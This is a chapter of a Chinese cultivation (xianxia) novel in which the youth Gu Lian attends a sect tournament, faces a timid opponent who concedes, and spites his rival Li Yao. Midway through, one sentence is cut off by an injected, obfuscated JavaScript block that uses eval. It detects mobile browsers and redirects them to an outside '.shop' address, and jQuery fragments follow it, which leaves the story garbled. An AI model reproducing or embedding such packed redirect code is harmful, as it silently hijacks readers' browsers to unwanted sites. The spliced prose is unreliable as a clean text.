修士的法相由灵力幻化,境界愈高,法相愈庞大。宣赦是当世唯一的化神期,以他本尊形貌放大数百倍的法相如高山般巍峨,玄意浩瀚,宝光万华。
顾怜在看清楚的霎那,脚步一顿。
青年一袭墨蓝道袍,屹立在全性塔前。他的衣摆似弥天长夜,群星罗布,辰宿列张。七柄仙剑环绕在他周身,耀眼的锋芒比骄阳更甚。
而青年风骨清雅,五官英俊,竟有一番与境界浑然不符的温和气度。温和之中,蕴含着一丝悲天悯人,衬着他若有若无的微笑,令人心折。
片片飞花过眼前,惊动了少年。
顾怜如梦方醒,心中涌起更强烈的情绪——那就是宣赦?
比画像上好看。
这个念头一冒出来,他立刻使劲地晃晃脑袋。想什么呢!他要成为和斩月仙师一样强大的人,怎么注意力跑到仙师的外表上了?不过这样的谦谦君子渺渺仙人,昨夜真的会救下他还帮他洗衣梳头吗……
呸。
怎么还在想乱七八糟的!!!
顾怜板起脸摒除杂思,加快了步伐。他攥着投名符咒,找到一个空位。
自三圣法相出现时起,欢呼声便排山倒海。云上的仙门自持身份,尚显庄重,下方的看台就没那么淡定了,要么是两院门生,要么是散修和凡人,一个个振臂喊着三圣道号。
在宣赦左侧,乃是太徵真人叶忘行。女修以雷厉风行闻名,一袭深灰法衣,衣上绣着柳叶纹。她腰间缠着柳枝,似刚采而来、色泽新碧,端丽而漠然的面上两弯柳眉,明明是柔美之相,却因她的性情显出了一股煞气。
宣赦右边,则是“大名鼎鼎”的是非真人周十了。此人当惯了神棍,好不容易发达,洋洋得意。他小时候吃了上顿没下顿,瞧着精瘦,秀气的面庞透着几分贼眉鼠眼的猥琐。哪怕在如此盛大的场合,他仍像混进来卖瓜子的。
“阿顾,阿顾!”
熟悉的声音响起,孟晞挤到顾怜跟前。她上下打量少年,喜道:“可以啊阿顾,这些日子不见,你把自己收拾得很妥帖嘛!”
顾怜被外院除名那天,孟晞和阿光为他送行。孟晞包了盘缠,但顾怜没要。一个月没见,少年也有点想念亲人,但他清楚把自己收拾妥帖的另有其人,只好含混地“嗯”了一声。
孟晞转过身,背着的箩筐里小丫头“咿咿呀呀”,伸手要抱。顾怜见到阿光,问:“你爹原谅你没?”
之前的事,林准查了个水落石出。他没抽阿光手心,不过罚她一个月不许吃糖。
顾怜记得这茬儿,说着掏出了一把从商行柜台薅走的糖果,环顾四周,见林准在老远的云头上,放心地把糖塞给了阿光。
小姑娘双眼发亮:“谢谢阿顾哥哥!”
孟晞说:“快快快,藏在筐里。”
就在这时,一个掌门样的人物踏云而出,主持大会。
顾怜最烦听场面话,今天却看见司仪出场便收声坐好,望向了那边。孟晞正纳闷儿,待顺着他的视线看过去,瞧见司仪背后的三圣法相、尤其是当中的斩月仙师,不禁笑了。
她用胳膊肘撞了顾怜一下,问:“大会章程看了没?”
顾怜目不转睛地说:“当然。”
公平起见,散修和门生一样,皆以境界划分对手。所谓境界,亦可分为“境”与“界”。
“境”从低到高,分别是练气、筑基、金丹、元婴、化神、大乘。顾怜现在是练气期,刚跨过修仙的门槛。而宣赦处于化神,只差一步,便能抵达太古高人涉足过的大乘期了。大乘之后是什么,没有人知道,或许是飞升成仙,也可能是身渡万劫。
“界”则是前后之别。每一境都分前后:譬如练气,灵脉未通便称练气前期,通脉走气便称练气后期。从前到后,古时称“越界”,后因歧义改为了“破关”。从低到高迈入新境,则有“破境”之说。破关后破境,破境又破关,一山放过一山拦,登山再见更高山。
顾怜是练气后期,但像“金鳞开”那样的筑基前期,他也打得。大会第一场先以同界修士相争,名为“同界小试”。顾怜自信练气期内无敌手,他须认真的乃是第二场:越境大比。
如果说同界博弈是为了看实力,越境交锋就是为了看潜力。当然,为免出现意外,第二场的双方只能差一境。届时顾怜将和筑基后期对敌,他还没碰过这么强的对手。
少年按捺住升腾的战意,问:“姐,三圣的法相会一直在吗?”
“会啊,多好看。”孟晞揶揄道,“难道有仙师在,你会分心?”
“怎么可能……”顾怜下意识反驳,顿了顿又说,“我是担心他们受累罢了。”
维持法相要耗费很多灵力,他的担心不无道理。但顾怜清楚,他在找借口。
少年面子挂不住,扭头盯着司仪。那人宣告大会开场,鼎沸的人声直冲云霄。霎时间,透明的球形结界笼罩场内,防止对战的修士波及看台;场外升起了巨幅灵气画像,全方位呈现场内的情况。
拜日神教的教徒们执炬抗旗,鱼贯而出。他们环绕了整个场地,旗帜上的绲金边红日纹熠熠生辉。
“看看看,灵画屏上有字了!‘请参会仙友观阅投名符咒’……”孟晞念道。
顾怜掏出符纸,先前核验身份的符文消失了,取而代之的是时间地点、另一个人名。
申时,东区二十四域。
对手:西陵郡,扶桑城,罗纷。
孟晞说:“扶桑罗家?养蚕缫丝的富户……西陵郡都是干那行的,不算仙门,但一直提供道场师生的道服,你以前穿的就是他家出品。”
顾怜曾手洗了几年、换过几身大小、缝补过无数次的门生道服,在他被除名那天由神教收回了。少年怀念了一下西陵郡织造的衣料触感,道:“行,我轻点打。”
一刻钟后,第一场同界小试开始。顾怜的场次在下午,可以先看热闹。
广场分成了数十块,每一块供两人对敌。有的区域里练气期小鸡互啄,有的区域里金丹期龙虎相斗,灵画屏上展示着一个个精彩场面,看得人目不暇接。
孟晞在道场干了一百年,作为司教的眼光堪称毒辣。她紧盯着练气到筑基的修士们,分析如果顾怜和他们交手该如何应对。不止是她,此刻所有师尊都在做同样的事:帮徒儿洞察战况。至于出门在外靠自己的光杆们,也在仔细观战。
孟晞说着说着,发觉身边人没半点反应。
她转头一看,道:“喂!现在睡大觉,昨晚干什么去了?”
顾怜阖上眼,说:“我静修。”
“静修多少年了都,不差这一会儿!”
“不。”顾怜面无表情道,“太吵了。”
喧闹的看台上,少年进入了冥思。他像一根定海神针,与外界格格不入。不少人注意到他、认出了他,关于对战的热议中掺进了几条闲言碎语,时不时投来好奇的目光。
顾怜心无旁骛,一直到自己的场次将要开始,方才睁眼。
他来到分派的区域,并不紧张。不过,有件事令他不爽——冤家路窄,李肴恰好在隔壁。
这厮和顾怜同
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17799345|210464||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时发现了彼此,两人都脸色一变。顾怜嫌晦气,李肴则是仇人相见分外眼红,要不是神教教徒拦着,就要冲过来给顾怜一拳了。
他能不能碰到顾怜的头发丝另论,反正顾怜听着他鬼吼鬼叫很烦。李肴先是问候他早逝的父母,骂他有人生没人养;然后嘲讽他在黑市斗剑,把道场的脸丢光了;最后冲他放狠话,让顾怜有种等着第三场“请缨论剑”。到时候没有两院与散修之隔,自由约战,谁怂谁是儿!
顾怜听着他嗡嗡嗡,冷笑道:“看来是上次打得不够重,没让你认祖归宗。等死吧逆子!”
李肴:“你——”
钟声响起,对战开始了。
规矩简单粗暴:赢了晋级,输了回家。
“暮春”滑出袖口,顾怜一手拎剑,一手轻按藏在衣内的长命锁,看向即将被自己送回家的人。
片刻后,顾怜皱了下眉。
一个姿态拘谨的家伙站在他对面,因他和李肴的冲突而紧紧捏着衣摆、不知所措。这个叫罗纷的修士瞧着比顾怜还小两岁,一身鹅黄新衣,配了把金镶玉宝鞘弯刀。衣着华贵就算了,此人的长相还很精巧,稚气未脱的脸蛋衬着一双忽闪忽闪的圆眼睛,简直像个仙童。
要打仙童了,顾怜说:“拔刀啊。”
“仙友你好!我叫罗纷家住扶桑,你就是顾怜吗?”
少爷一边自报家门,一边听话地拔出宝刀,但是只提在手里,根本没有出招的意思。旁边几组已经开打了,尤其李肴尖叫着什么“竖子看剑”、“接你爷爷的招”,绝对是把对手幻想成了顾怜。
顾怜这边,却是风平浪静。
三圣法相无声地屹立着,宣赦那尊正好面对顾怜。少年有种被仙师注视的错觉,看着糯米团似的罗纷,开始头疼:“是又怎样,不是又怎样。你来干嘛的??”
罗纷问:“你很厉害么?”
“当然。”顾怜以为对方在挑衅他,准备动手。
罗纷却道:“很厉害的话,我可以认输。”
顾怜:“?”
见他冷淡的眉眼有发火迹象,罗纷的刀“啪”地掉在地上,连连摆手:“抱歉!我不是故意的!!我我我怕磕坏东西!!!”
顾怜道:“有什么好怕的?打啊!”他不由分说举起剑。
罗纷整理衣襟,捧出一块羊脂玉,道:“这这这是姐姐们做的,磕坏了就不好了……我认输不行吗?你省省力气,以后去打那个……呃,隔壁仙长叫什么来着?”
他感到了顾怜耐心耗尽冒出的杀气,毛骨悚然。可是不知为何,对面那个凶残的同龄人看着他捧出来的东西,放下了剑。
罗纷也有长命锁。
他的锁由整块美玉雕成,足有一掌大小。黄金有价玉无价,罗纷的正是一件无价之宝。
与之相比,顾怜的长命锁朴实多了。红线藏在领口内侧,缀着的银锁一寸来宽,正面刻着展翼的凤凰,背面刻着“安乐”二字。
若是常人,怕是会两相比较,不是滋味。顾怜却淡淡作想:都是有长命锁的,都是有家里人在意的。如此一来,他的心情莫名好些了。
紫袍少年收剑回鞘,说:“算你走运。”
隔壁的李肴不敢置信:“他上来就认输,走运的明明是你吧?!”
顾怜像是没听见,走向场外。但在拜日教徒低头记录胜负时,他飞快地搓出一团剑气,甩在李肴脸上。李肴摔得四脚朝天,差点输掉,罗纷目睹了这一幕,捂着嘴双目圆睁。
教徒抬起头道:“申时东区二十四域,顾怜胜!”